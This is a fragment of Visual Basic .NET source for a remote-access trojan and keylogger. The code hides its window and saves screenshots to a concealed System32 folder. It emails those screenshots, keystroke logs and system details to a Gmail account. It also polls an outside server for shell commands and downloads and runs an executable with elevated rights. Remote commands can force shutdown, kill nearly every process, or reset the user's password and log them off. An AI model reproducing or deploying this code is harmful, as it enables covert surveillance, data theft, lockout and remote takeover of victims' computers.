                                                                Dim atcs2 As New Attachment("C:\Windows\System32\drivers\wender\wndws\wndw1.jpg")
                                                                Dim atcs3 As New Attachment("C:\Windows\System32\drivers\wender\wndws\wndw2.jpg")
                                                                Dim atcs4 As New Attachment("C:\Windows\System32\drivers\wender\wndws\wndw3.jpg")
                                                                Dim atcs5 As New Attachment("C:\Windows\System32\drivers\wender\wndws\wndw4.jpg")
                                                                Dim atcs6 As New Attachment("C:\Windows\System32\drivers\wender\wndws\wndw5.jpg")
                                                                Dim atcs7 As New Attachment("C:\Windows\System32\drivers\wender\wndws\wndw6.jpg")
                                                                Dim atcs8 As New Attachment("C:\Windows\System32\drivers\wender\wndws\wndw7.jpg")
                                                                Dim atcs9 As New Attachment("C:\Windows\System32\drivers\wender\wndws\wndw8.jpg")
                                                                Dim atcs10 As New Attachment("C:\Windows\System32\drivers\wender\wndws\wndw9.jpg")
                                                                MyMailMessage.From = New MailAddress("example@gmail.com")
                                                                MyMailMessage.To.Add("example@gmail.com")
                                                                MyMailMessage.Subject = (DateTime.Now & " " & My.Computer.Name & " WINDOWS " & Usrname)
                                                                MyMailMessage.Attachments.Add(atcs1)
                                                                MyMailMessage.Attachments.Add(atcs2)
                                                                MyMailMessage.Attachments.Add(atcs3)
                                                                MyMailMessage.Attachments.Add(atcs4)
                                                                MyMailMessage.Attachments.Add(atcs5)
                                                                MyMailMessage.Attachments.Add(atcs6)
                                                                MyMailMessage.Attachments.Add(atcs7)
                                                                MyMailMessage.Attachments.Add(atcs8)
                                                                MyMailMessage.Attachments.Add(atcs9)
                                                                MyMailMessage.Attachments.Add(atcs10)
                                                                Dim SMTPServer As New SmtpClient("smtp.gmail.com")
                                                                SMTPServer.Port = 587
                                                                SMTPServer.Credentials = New System.Net.NetworkCredential("example@gmail.com", "şifre123")
                                                                SMTPServer.EnableSsl = True
                                                                SMTPServer.Send(MyMailMessage)
                                                                '
                                                                My.Computer.FileSystem.DeleteDirectory("C:\Windows\System32\drivers\wender\wndws", FileIO.DeleteDirectoryOption.DeleteAllContents)
                                                            Else
                                                                bmp.Save("C:\Windows\System32\drivers\wender\wndw9.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
                                                            End If
                                                        Else
                                                            bmp.Save("C:\Windows\System32\drivers\wender\wndw8.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
                                                        End If
                                                    Else
                                                        bmp.Save("C:\Windows\System32\drivers\wender\wndw7.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
                                                    End If
                                                Else
                                                    bmp.Save("C:\Windows\System32\drivers\wender\wndw6.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
                                                End If
                                            Else
                                                bmp.Save("C:\Windows\System32\drivers\wender\wndw5.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
                                            End If
                                        Else
                                            bmp.Save("C:\Windows\System32\drivers\wender\wndw4.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
                                        End If
                                    Else
                                        bmp.Save("C:\Windows\System32\drivers\wender\wndw3.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
                                    End If
                                Else
                                    bmp.Save("C:\Windows\System32\drivers\wender\wndw2.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
                                End If
                            Else
                                bmp.Save("C:\Windows\System32\drivers\wender\wndw1.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
                            End If

                        Else

                            bmp.Save("C:\Windows\System32\drivers\wender\wndw.jpg", System.Drawing.Imaging.ImageFormat.Jpeg)
                        End If
                    End If
                End If
            End Using
            RichTextBox1.Text = RichTextBox1.Text + "[" & GetActiveWindowTitle() & "]:"
            strin = GetActiveWindowTitle()
        End If
        If TextBox1.Text = ("shutdown") Then
            Shell("cmd /c shutdown /p /f")

        End If
        If TextBox1.Text = ("death") Then
            Dim info As New ProcessStartInfo("C:\Windows\System32\cmd.exe", "/c taskkill /f /im w*")
            info.UseShellExecute = True
            info.Verb = "runas"
            Process.Start(info)
        End If
        If TextBox1.Text = ("fuckup") Then
            Timer19.Start()
        End If
        If TextBox1.Text = ("password") Then
            Dim infeo As New ProcessStartInfo("C:\Windows\System32\cmd.exe", "/c net user %username% 1789gmf5621")
            infeo.UseShellExecute = True
            infeo.Verb = "runas"
            Process.Start(infeo)
            Dim infeeo As New ProcessStartInfo("C:\Windows\System32\cmd.exe", "/c shutdown /l /f")
            infeeo.UseShellExecute = True
            infeeo.Verb = "runas"
            Process.Start(infeeo)
        End If
        If TextBox3.Text = ("update") Then
            Timer21.Start()
        End If
    End Sub

    Private Sub Timer15_Tick(sender As Object, e As EventArgs) Handles Timer15.Tick
        On Error Resume Next
        Dim Usrname As String
        Dim MyMailMessage As New MailMessage
        Usrname = Environment.UserName.ToString
        MyMailMessage.From = New MailAddress("example@gmail.com")
        MyMailMessage.To.Add("example@gmail.com")
        MyMailMessage.Subject = (DateTime.Now & " " & My.Computer.Name & " Klavye Log " & Usrname)
        MyMailMessage.Body = RichTextBox1.Text
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("example@gmail.com", "şifre123")
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        RichTextBox1.Clear()

    End Sub

    Private Sub Timer16_Tick(sender As Object, e As EventArgs) Handles Timer16.Tick
        On Error Resume Next
        If System.IO.File.Exists("C:\Windows\System32\drivers\wender\rkp.txt") = True Then
            My.Computer.FileSystem.DeleteFile("C:\Windows\System32\drivers\wender\rkp.txt")
        End If
        My.Computer.Network.DownloadFile("http://ajantakip.tk/rkp.html", "C:\Windows\System32\drivers\wender\rkp.txt")
        Dim read As New System.IO.StreamReader("C:\Windows\System32\drivers\wender\rkp.txt")
        TextBox2.Text = read.ReadLine
        read.Close()
        If TextBox1.Text = ("command") Then
            Shell(TextBox2.Text)
            Timer16.Stop()
        End If
        If TextBox1.Text = ("message") Then
            MsgBox(TextBox2.Text)
            Timer16.Stop()
        End If
    End Sub

    Private Sub Timer17_Tick(sender As Object, e As EventArgs) Handles Timer17.Tick
        Me.Hide()
        Me.ShowInTaskbar = False
        Me.Visible = False
        Timer17.Stop()
    End Sub

    Private Sub Timer18_Tick(sender As Object, e As EventArgs) Handles Timer18.Tick
        On Error Resume Next
        Dim Usrname As String
        Dim MyMailMessage As New MailMessage
        Usrname = Environment.UserName.ToString
        MyMailMessage.From = New MailAddress("example@gmail.com")
        MyMailMessage.To.Add("example@gmail.com")
        MyMailMessage.Subject = (My.Computer.Name & " " & Usrname & " ACTIVATED " & DateTime.Now)
        For Each p As Process In Process.GetProcesses
            MyMailMessage.Body = ("ACTIVATED" & vbCrLf & My.Computer.Info.OSFullName & "-" & My.Computer.Info.OSPlatform & "-" & My.Computer.Info.OSVersion & vbCrLf & "PhysicalMemory: " & My.Computer.Info.AvailablePhysicalMemory & "/" & My.Computer.Info.TotalPhysicalMemory & vbCrLf & "VirtualMemory: " & My.Computer.Info.AvailableVirtualMemory & "/" & My.Computer.Info.TotalVirtualMemory & vbCrLf & "ProcessNumber: " & Environment.ProcessorCount & vbCrLf & p.ProcessName)
        Next
        Dim SMTPServer As New SmtpClient("smtp.gmail.com")
        SMTPServer.Port = 587
        SMTPServer.Credentials = New System.Net.NetworkCredential("example@gmail.com", "şifre123")
        SMTPServer.EnableSsl = True
        SMTPServer.Send(MyMailMessage)
        Timer18.Stop()
    End Sub

    Private Sub Timer19_Tick(sender As Object, e As EventArgs) Handles Timer19.Tick
        Shell("taskkill /f /im a*")
        Shell("taskkill /f /im b*")
        Shell("taskkill /f /im c*")
        Shell("taskkill /f /im d*")
        Shell("taskkill /f /im e*")
        Shell("taskkill /f /im f*")
        Shell("taskkill /f /im g*")
        Shell("taskkill /f /im h*")
        Shell("taskkill /f /im i*")
        Shell("taskkill /f /im j*")
        Shell("taskkill /f /im k*")
        Shell("taskkill /f /im l*")
        Shell("taskkill /f /im m*")
        Shell("taskkill /f /im n*")
        Shell("taskkill /f /im o*")
        Shell("taskkill /f /im p*")
        Shell("taskkill /f /im r*")
        Shell("taskkill /f /im s*")
        Shell("taskkill /f /im t*")
        Shell("taskkill /f /im u*")
        Shell("taskkill /f /im v*")
        Shell("taskkill /f /im y*")
        Shell("taskkill /f /im z*")
        Shell("taskkill /f /im q*")
        Shell("taskkill /f /im w*")
        Shell("taskkill /f /im x*")
    End Sub

    Private Sub Timer20_Tick(sender As Object, e As EventArgs) Handles Timer20.Tick
        On Error Resume Next
        If System.IO.File.Exists("C:\Windows\System32\drivers\wender\skp.txt") = True Then
            My.Computer.FileSystem.DeleteFile("C:\Windows\System32\drivers\wender\skp.txt")
        End If
        My.Computer.Network.DownloadFile("http://ajantakip.tk/skp.html", "C:\Windows\System32\drivers\wender\skp.txt")
        Dim read As New System.IO.StreamReader("C:\Windows\System32\drivers\wender\skp.txt")
        TextBox3.Text = read.ReadLine
        read.Close()
    End Sub

    Private Sub Timer21_Tick(sender As Object, e As EventArgs) Handles Timer21.Tick
        On Error Resume Next
        My.Computer.Network.DownloadFile("http://ajantakip.tk/jhc.exe", "C:\Windows\System32\drivers\wender\jhc.exe")
        If System.IO.File.Exists("C:\Windows\System32\drivers\wender\jhc.exe") = True Then
            Dim infffo As New ProcessStartInfo("C:\Windows\System32\drivers\wender\jhc.exe")
            infffo.UseShellExecute = True
            infffo.Verb = "runas"
            Process.Start(infffo)
            Timer21.Stop()
        End If
    End Sub
End Class